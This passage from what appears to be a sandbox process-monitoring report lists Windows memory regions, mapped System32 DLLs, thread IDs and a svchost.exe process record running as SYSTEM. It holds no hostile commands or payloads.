	            name = "devobj.dll"
	        filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll")

Region:
	              id = 2224
	        start_va = 0x7ffbff5d0000
	          end_va = 0x7ffbff601fff
	     entry_point = 0x7ffbff5d0000
	     region_type = mapped_file
	            name = "fwbase.dll"
	        filename = "\\Windows\\System32\\fwbase.dll" (normalized: "c:\\windows\\system32\\fwbase.dll")

Region:
	              id = 2225
	        start_va = 0x7ffbff610000
	          end_va = 0x7ffbff691fff
	     entry_point = 0x7ffbff610000
	     region_type = mapped_file
	            name = "firewallapi.dll"
	        filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll")

Region:
	              id = 2226
	        start_va = 0x7ffbff7c0000
	          end_va = 0x7ffbff7e2fff
	     entry_point = 0x7ffbff7c0000
	     region_type = mapped_file
	            name = "gpapi.dll"
	        filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll")

Region:
	              id = 2227
	        start_va = 0x7ffbff8f0000
	          end_va = 0x7ffbff8fbfff
	     entry_point = 0x7ffbff8f0000
	     region_type = mapped_file
	            name = "hid.dll"
	        filename = "\\Windows\\System32\\hid.dll" (normalized: "c:\\windows\\system32\\hid.dll")

Region:
	              id = 2228
	        start_va = 0x7ffbffaf0000
	          end_va = 0x7ffbffafbfff
	     entry_point = 0x7ffbffaf0000
	     region_type = mapped_file
	            name = "netutils.dll"
	        filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll")

Region:
	              id = 2229
	        start_va = 0x7ffbffd20000
	          end_va = 0x7ffbffd77fff
	     entry_point = 0x7ffbffd20000
	     region_type = mapped_file
	            name = "winsta.dll"
	        filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll")

Region:
	              id = 2230
	        start_va = 0x7ffbffdc0000
	          end_va = 0x7ffbffdf2fff
	     entry_point = 0x7ffbffdc0000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")

Region:
	              id = 2231
	        start_va = 0x7ffbffeb0000
	          end_va = 0x7ffbffecefff
	     entry_point = 0x7ffbffeb0000
	     region_type = mapped_file
	            name = "userenv.dll"
	        filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll")

Region:
	              id = 2232
	        start_va = 0x7ffbfff10000
	          end_va = 0x7ffbfffb7fff
	     entry_point = 0x7ffbfff10000
	     region_type = mapped_file
	            name = "dnsapi.dll"
	        filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll")

Region:
	              id = 2233
	        start_va = 0x7ffc00110000
	          end_va = 0x7ffc0016cfff
	     entry_point = 0x7ffc00110000
	     region_type = mapped_file
	            name = "mswsock.dll"
	        filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll")

Region:
	              id = 2234
	        start_va = 0x7ffc00170000
	          end_va = 0x7ffc00186fff
	     entry_point = 0x7ffc00170000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")

Region:
	              id = 2235
	        start_va = 0x7ffc002e0000
	          end_va = 0x7ffc002eafff
	     entry_point = 0x7ffc002e0000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")

Region:
	              id = 2236
	        start_va = 0x7ffc004c0000
	          end_va = 0x7ffc004ebfff
	     entry_point = 0x7ffc004c0000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")

Region:
	              id = 2237
	        start_va = 0x7ffc006c0000
	          end_va = 0x7ffc006e7fff
	     entry_point = 0x7ffc006c0000
	     region_type = mapped_file
	            name = "bcrypt.dll"
	        filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll")

Region:
	              id = 2238
	        start_va = 0x7ffc006f0000
	          end_va = 0x7ffc0075afff
	     entry_point = 0x7ffc006f0000
	     region_type = mapped_file
	            name = "bcryptprimitives.dll"
	        filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll")

Region:
	              id = 2239
	        start_va = 0x7ffc008a0000
	          end_va = 0x7ffc008e9fff
	     entry_point = 0x7ffc008a0000
	     region_type = mapped_file
	            name = "powrprof.dll"
	        filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll")

Region:
	              id = 2240
	        start_va = 0x7ffc008f0000
	          end_va = 0x7ffc00902fff
	     entry_point = 0x7ffc008f0000
	     region_type = mapped_file
	            name = "profapi.dll"
	        filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")

Region:
	              id = 2241
	        start_va = 0x7ffc00910000
	          end_va = 0x7ffc0091efff
	     entry_point = 0x7ffc00910000
	     region_type = mapped_file
	            name = "kernel.appcore.dll"
	        filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll")

Region:
	              id = 2242
	        start_va = 0x7ffc00920000
	          end_va = 0x7ffc00930fff
	     entry_point = 0x7ffc00920000
	     region_type = mapped_file
	            name = "msasn1.dll"
	        filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll")

Region:
	              id = 2243
	        start_va = 0x7ffc00f70000
	          end_va = 0x7ffc00fb3fff
	     entry_point = 0x7ffc00f70000
	     region_type = mapped_file
	            name = "cfgmgr32.dll"
	        filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll")

Region:
	              id = 2244
	        start_va = 0x7ffc01080000
	          end_va = 0x7ffc010d3fff
	     entry_point = 0x7ffc01080000
	     region_type = mapped_file
	            name = "wintrust.dll"
	        filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll")

Region:
	              id = 2245
	        start_va = 0x7ffc01190000
	          end_va = 0x7ffc01350fff
	     entry_point = 0x7ffc01190000
	     region_type = mapped_file
	            name = "crypt32.dll"
	        filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll")

Region:
	              id = 2246
	        start_va = 0x7ffc01360000
	          end_va = 0x7ffc0153cfff
	     entry_point = 0x7ffc01360000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 2247
	        start_va = 0x7ffc01540000
	          end_va = 0x7ffc015e4fff
	     entry_point = 0x7ffc01540000
	     region_type = mapped_file
	            name = "clbcatq.dll"
	        filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")

Region:
	              id = 2248
	        start_va = 0x7ffc01640000
	          end_va = 0x7ffc016e5fff
	     entry_point = 0x7ffc01640000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")

Region:
	              id = 2249
	        start_va = 0x7ffc018a0000
	          end_va = 0x7ffc01b1bfff
	     entry_point = 0x7ffc018a0000
	     region_type = mapped_file
	            name = "combase.dll"
	        filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll")

Region:
	              id = 2250
	        start_va = 0x7ffc01dd0000
	          end_va = 0x7ffc01ef5fff
	     entry_point = 0x7ffc01dd0000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 2251
	        start_va = 0x7ffc01f00000
	          end_va = 0x7ffc0204dfff
	     entry_point = 0x7ffc01f00000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 2252
	        start_va = 0x7ffc02050000
	          end_va = 0x7ffc02057fff
	     entry_point = 0x7ffc02050000
	     region_type = mapped_file
	            name = "nsi.dll"
	        filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll")

Region:
	              id = 2253
	        start_va = 0x7ffc02060000
	          end_va = 0x7ffc020fcfff
	     entry_point = 0x7ffc02060000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 2254
	        start_va = 0x7ffc02100000
	          end_va = 0x7ffc0215afff
	     entry_point = 0x7ffc02100000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 2255
	        start_va = 0x7ffc037f0000
	          end_va = 0x7ffc03974fff
	     entry_point = 0x7ffc037f0000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 2256
	        start_va = 0x7ffc03980000
	          end_va = 0x7ffc039e8fff
	     entry_point = 0x7ffc03980000
	     region_type = mapped_file
	            name = "ws2_32.dll"
	        filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll")

Region:
	              id = 2257
	        start_va = 0x7ffc03bb0000
	          end_va = 0x7ffc03cf0fff
	     entry_point = 0x7ffc03bb0000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")

Region:
	              id = 2258
	        start_va = 0x7ffc03d00000
	          end_va = 0x7ffc03dbdfff
	     entry_point = 0x7ffc03d00000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")

Region:
	              id = 2259
	        start_va = 0x7ffc03dc0000
	          end_va = 0x7ffc03e6cfff
	     entry_point = 0x7ffc03dc0000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 2260
	        start_va = 0x7ffc03e70000
	          end_va = 0x7ffc04031fff
	     entry_point = 0x7ffc03e70000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")


Thread:
	id = 255
	os_tid = 0xc70


Thread:
	id = 256
	os_tid = 0xc78


Thread:
	id = 257
	os_tid = 0xc4c


Thread:
	id = 258
	os_tid = 0xff0


Thread:
	id = 259
	os_tid = 0xe14


Thread:
	id = 260
	os_tid = 0xe10


Thread:
	id = 261
	os_tid = 0x8c0


Thread:
	id = 262
	os_tid = 0x51c


Thread:
	id = 263
	os_tid = 0x7c4


Thread:
	id = 264
	os_tid = 0xb28


Thread:
	id = 265
	os_tid = 0x8b4


Thread:
	id = 266
	os_tid = 0x398


Thread:
	id = 267
	os_tid = 0x2cc


Thread:
	id = 268
	os_tid = 0x2c0


Thread:
	id = 269
	os_tid = 0x258


Thread:
	id = 270
	os_tid = 0x234


Thread:
	id = 271
	os_tid = 0x1e0


Thread:
	id = 272
	os_tid = 0xf4


Thread:
	id = 273
	os_tid = 0x3ac


Thread:
	id = 274
	os_tid = 0x3a8


Thread:
	id = 275
	os_tid = 0x3a4


Thread:
	id = 276
	os_tid = 0x3a0


Thread:
	id = 277
	os_tid = 0x380


Thread:
	id = 278
	os_tid = 0x374


Thread:
	id = 279
	os_tid = 0x328


Process:
	id = "12"
	image_name = "svchost.exe"
	filename = "c:\\windows\\system32\\svchost.exe"
	page_root = "0x28fd6000"
	os_pid = "0x348"
	os_integrity_level = "0x4000"
	os_privileges = "0x60b16080"
	monitor_reason = "child_process"
	parent_id = "8"
	os_parent_pid = "0x1e4"
	cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\SYSTEM"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AudioEndpointBuilder" [0xa], "NT SERVICE\\CscService" [0xa], "NT SERVICE\\DeviceAssociationService" [0xa], "NT SERVICE\\DevQueryBroker" [0xa], "NT SERVICE\\dot3svc" [0xa], "NT SERVICE\\DsSvc" [0xa], "NT SERVICE\\fhsvc" [0xa], "NT SERVICE\\hidserv" [0xa], "NT SERVICE\\HomeGroupListener" [0xa], "NT SERVICE\\NcbService" [0xa], "NT SERVICE\\Netman" [0xa], "NT SERVICE\\PcaSvc" [0xa], "NT SERVICE\\ScDeviceEnum" [0xa], "NT SERVICE\\SensorService" [0xa], "NT SERVICE\\SmsRouter" [0xa], "NT SERVICE\\StorSvc" [0xa], "NT SERVICE\\svsvc" [0xa], "NT SERVICE\\TabletInputService" [0xa], "NT SERVICE\\TrkWks" [0xa], "NT SERVICE\\UmRdpService" [0xa], "NT SERVICE\\vmicguestinterface" [0xa], "NT SERVICE\\vmickvpexchange" [0xa], "NT SERVICE\\vmicshutdown" [0xa], "NT SERVICE\\vmicvmsession" [0xa], "NT SERVICE\\vmicvss" [0xa], "NT SERVICE\\WdiSystemHost" [0xa], "NT SERVICE\\WiaRpc" [0xa], "NT SERVICE\\Wlansvc" [0xa], "NT SERVICE\\WPDBusEnum" [0xe], "NT SERVICE\\wudfsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000de6d" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe]

Region:
	              id = 1439
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 1440
	        start_va = 0x5b76d00000
	          end_va = 0x5b76d0ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000005b76d00000"
	        filename = ""

Region:
	              id = 1441
	        start_va = 0x5b76d10000
	          end_va = 0x5b76d10fff
	     entry_point = 0x5b76d10000
	     region_type = mapped_file
	            name = "svchost.exe.mui"
	        filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui")

Region:
	              id = 1442
	        start_va = 0x5b76d20000
	          end_va = 0x5b76d33fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000005b76d20000"
	        filename = ""

Region:
	              id = 1443
	        start_va = 0x5b76d40000
	          end_va = 0x5b76dbffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005b76d40000"
	        filename = ""

Region:
	              id = 1444
	        start_va = 0x5b76dc0000
	          end_va = 0x5b76dc3fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000005b76dc0000"
	        filename = ""

Region:
	              id = 1445
	        start_va = 0x5b76dd0000
	          end_va = 0x5b76dd0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000005b76dd0000"
	        filename = ""

Region:
	              id = 1446
	        start_va = 0x5b76de0000
	          end_va = 0x5b76de1fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005b76de0000"
	        filename = ""

Region:
	              id = 1447
	        start_va = 0x5b76df0000
	          end_va = 0x5b76eadfff
	     entry_point = 0x5b76df0000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 1448
	        start_va = 0x5b76eb0000
	          end_va = 0x5b76ef3fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005b76eb0000"
	        filename = ""

Region:
	              id = 1449
	        start_va = 0x5b76f30000
	          end_va = 0x5b76f30fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005b76f30000"
	        filename = ""

Region:
	              id = 1450
	        start_va = 0x5b76f40000
	          end_va = 0x5b76f40fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005b76f40000"
	        filename = ""

Region:
	              id = 1451
	        start_va = 0x5b76f50000
	          end_va = 0x5b76f50fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000005b76f50000"
	        filename = ""

Region:
	              id = 1452
	        start_va = 0x5b76f60000
	          end_va = 0x5b76f60fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000005b76f60000"
	        filename = ""

Region:
	              id = 1453
	        start_va = 0x5b76f70000
	          end_va = 0x5b76f70fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005b76f70000"
	        filename = ""

Region:
	              id = 1454
	        start_va = 0x5b76f80000
	          end_va = 0x5b76f80fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005b76f80000"
	        filename = ""

Region:
	              id = 1455
	        start_va = 0x5b76f90000
	          end_va = 0x5b76f90fff
	     entry_point = 0x5b76f90000
	     region_type = mapped_file
	            name = "mmdevapi.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\MMDevAPI.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mmdevapi.dll.mui")

Region:
	              id = 1456
	        start_va = 0x5b76fa0000
	          end_va = 0x5b76fa0fff
	     entry_point = 0x5b76fa0000
	     region_type = mapped_file
	            name = "audioendpointbuilder.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\AudioEndpointBuilder.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\audioendpointbuilder.dll.mui")

Region:
	              id = 1457
	        start_va = 0x5b76fb0000
	          end_va = 0x5b76fb0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000005b76fb0000"
	        filename = ""

Region:
	              id = 1458
	        start_va = 0x5b76fc0000
	          end_va = 0x5b76fc5fff
	     entry_point = 0x5b76fc0000
	     region_type = mapped_file
	            name = "sysmain.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\sysmain.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\sysmain.dll.mui")

Region:
	              id = 1459
	        start_va = 0x5b76fe0000
	          end_va = 0x5b76fe6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005b76fe0000"
	        filename = ""

Region:
	              id = 1460
	        start_va = 0x5b77000000
	          end_va = 0x5b770fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005b77000000"
	        filename = ""

Region:
	              id = 1461
	        start_va = 0x5b77100000
	          end_va = 0x5b771bffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000005b77100000"
	        filename = ""

Region:
	              id = 1462
	        start_va = 0x5b771c0000
	          end_va = 0x5b771c6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005b771c0000"
	        filename = ""

Region:
	              id = 1463
	        start_va = 0x5b77200000
	          end_va = 0x5b772fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005b77200000"
	        filename = ""

Region:
	              id = 1464
	        start_va = 0x5b77300000
	          end_va = 0x5b77487fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000005b77300000"
	        filename = ""

Region:
	              id = 1465
	        start_va = 0x5b77490000
	          end_va = 0x5b77610fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000005b77490000"
	        filename = ""

Region:
	              id = 1466
	        start_va = 0x5b77620000
	          end_va = 0x5b7771ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005b77620000"
	        filename = ""

Region:
	              id = 1467
	        start_va = 0x5b77720000
	          end_va = 0x5b7781ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005b77720000"
	        filename = ""

Region:
	              id = 1468
	        start_va = 0x5b77820000
	          end_va = 0x5b7791ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005b77820000"
	        filename = ""

Region:
	              id = 1469
	        start_va = 0x5b77920000
	          end_va = 0x5b77a1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005b77920000"
	        filename = ""

Region:
	              id = 1470
	        start_va = 0x5b77aa0000
	          end_va = 0x5b77b1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005b77aa0000"
	        filename = ""

Region:
	              id = 1471
	        start_va = 0x5b77b20000
	          end_va = 0x5b77e56fff
	     entry_point = 0x5b77b20000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 1472
	        start_va = 0x5b77e60000
	          end_va = 0x5b77edffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005b77e60000"
	        filename = ""

Region:
	              id = 1473
	        start_va = 0x5b77ee0000
	          end_va = 0x5b77fdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005b77ee0000"
	        filename = ""

Region:
	              id = 1474
	        start_va = 0x5b78040000
	          end_va = 0x5b78046fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005b78040000"
	        filename = ""

Region:
	              id = 1475
	        start_va = 0x5b78060000
	          end_va = 0x5b78090fff
	     entry_point = 0x5b78060000
	     region_type = mapped_file
	            name = "pfpre_871cf952.mkd"
	        filename = "\\Windows\\Prefetch\\PfPre_871cf952.mkd" (normalized: "c:\\windows\\prefetch\\pfpre_871cf952.mkd")

Region:
	              id = 1476
	        start_va = 0x5b780a0000
	          end_va = 0x5b780a6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005b780a0000"
	        filename = ""

Region:
	              id = 1477
	        start_va = 0x5b780f0000
	          end_va = 0x5b780f6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005b780f0000"
	        filename = ""

Region:
	              id = 1478
	        start_va = 0x5b78160000
	          end_va = 0x5b7825ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005b78160000"
	        filename = ""

Region:
	              id = 1479
	        start_va = 0x5b78260000
	          end_va = 0x5b7835ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005b78260000"
	        filename = ""

Region:
	              id = 1480
	        start_va = 0x5b78360000
	          end_va = 0x5b7845ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005b78360000"
	        filename = ""

Region:
	              id = 1481
	        start_va = 0x5b78500000
	          end_va = 0x5b785fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005b78500000"
	        filename = ""

Region:
	              id = 1482
	        start_va = 0x5b78600000
	          end_va = 0x5b786fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005b78600000"
	        filename = ""

Region:
	              id = 1483
	        start_va = 0x5b78700000
	          end_va = 0x5b787fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005b78700000"
	        filename = ""

Region:
	              id = 1484
	        start_va = 0x5b78800000
	          end_va = 0x5c787fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005b78800000"
	        filename = ""

Region:
	              id = 1485
	        start_va = 0x5c78800000
	          end_va = 0x5c788fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005c78800000"
	        filename = ""

Region:
	              id = 1486
	        start_va = 0x5c78900000
	          end_va = 0x5c789fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005c78900000"
	        filename = ""

Region:
	              id = 1487
	        start_va = 0x5c78a00000
	          end_va = 0x5c78afffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005c78a00000"
	        filename = ""

Region:
	              id = 1488
	        start_va = 0x5c78b00000
	          end_va = 0x5c78efffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005c78b00000"
	        filename = ""

Region:
	              id = 1489
	        start_va = 0x5c78f00000
	          end_va = 0x5c79004fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005c78f00000"
	        filename = ""

Region:
	              id = 1490
	        start_va = 0x5c79010000
	          end_va = 0x5c7910ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005c79010000"
	        filename = ""

Region:
	              id = 1491
	        start_va = 0x5c79110000
	          end_va = 0x5c7920ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005c79110000"
	        filename = ""

Region:
	              id = 1492
	        start_va = 0x5c79250000
	          end_va = 0x5c79256fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005c79250000"
	        filename = ""

Region:
	              id = 1493
	        start_va = 0x5c79260000
	          end_va = 0x5c7935ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005c79260000"
	        filename = ""

Region:
	              id = 1494
	        start_va = 0x5c79400000
	          end_va = 0x5c794fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005c79400000"
	        filename = ""

Region:
	              id = 1495
	        start_va = 0x5c79500000
	          end_va = 0x5c795fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005c79500000"
	        filename = ""

Region:
	              id = 1496
	        start_va = 0x5c79700000
	          end_va = 0x5c797fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005c79700000"
	        filename = ""

Region:
	              id = 1497
	        start_va = 0x5c79900000
	          end_va = 0x5c799fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005c79900000"
	        filename = ""

Region:
	              id = 1498
	        start_va = 0x5c79a00000
	          end_va = 0x5c79afffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005c79a00000"
	        filename = ""

Region:
	              id = 1499
	        start_va = 0x5c79b00000
	          end_va = 0x5c79bfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005c79b00000"
	        filename = ""

Region:
	              id = 1500
	        start_va = 0x5c79c00000
	          end_va = 0x5c79cfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005c79c00000"
	        filename = ""

Region:
	              id = 1501
	        start_va = 0x5c79d00000
	          end_va = 0x5c79dfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005c79d00000"
	        filename = ""

Region:
	              id = 1502
	        start_va = 0x5c79e00000
	          end_va = 0x5c79efffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005c79e00000"
	        filename = ""

Region:
	              id = 1503
	        start_va = 0x5c79f00000
	          end_va = 0x5c79ffffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005c79f00000"
	        filename = ""

Region:
	              id = 1504
	        start_va = 0x5c7a000000
	          end_va = 0x5c7a0fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005c7a000000"
	        filename = ""

Region:
	              id = 1505
	        start_va = 0x5c7a100000
	          end_va = 0x5c7a1fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005c7a100000"
	        filename = ""

Region:
	              id = 1506
	        start_va = 0x5c7a300000
	          end_va = 0x5c7a3fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005c7a300000"
	        filename = ""

Region:
	              id = 1507
	        start_va = 0x5c7a400000
	          end_va = 0x5c7a4fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005c7a400000"
	        filename = ""

Region:
	              id = 1508
	        start_va = 0x5c7a500000
	          end_va = 0x5c7a5fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005c7a500000"
	        filename = ""

Region:
	              id = 1509
	        start_va = 0x5c7a600000
	          end_va = 0x5c7a6fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005c7a600000"
	        filename = ""

Region:
	              id = 1510
	        start_va = 0x5c7a700000
	          end_va = 0x5c7a7fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005c7a700000"
	        filename = ""

Region:
	              id = 1511
	        start_va = 0x5c7a800000
	          end_va = 0x5c7a8fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005c7a800000"
	        filename = ""

Region:
	              id = 1512
	        start_va = 0x5c7a900000
	          end_va = 0x5c7a9fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005c7a900000"
	        filename = ""

Region:
	              id = 1513
	        start_va = 0x5c7aa00000
	          end_va = 0x5c7aafffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005c7aa00000"
	        filename = ""

Region:
	              id = 1514
	        start_va = 0x5c7ab00000
	          end_va = 0x5c7abfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005c7ab00000"
	        filename = ""

Region:
	              id = 1515
	        start_va = 0x5c7ac00000
	          end_va = 0x5c7ada3fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005c7ac00000"
	        filename = ""

Region:
	              id = 1516
	        start_va = 0x5c7adb0000
	          end_va = 0x5c7afb0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005c7adb0000"
	        filename = ""

Region:
	              id = 1517
	        start_va = 0x7df5ff890000
	          end_va = 0x7ff5ff88ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007df5ff890000"
	        filename = ""

Region:
	              id = 1518
	        start_va = 0x7ff7b34d8000
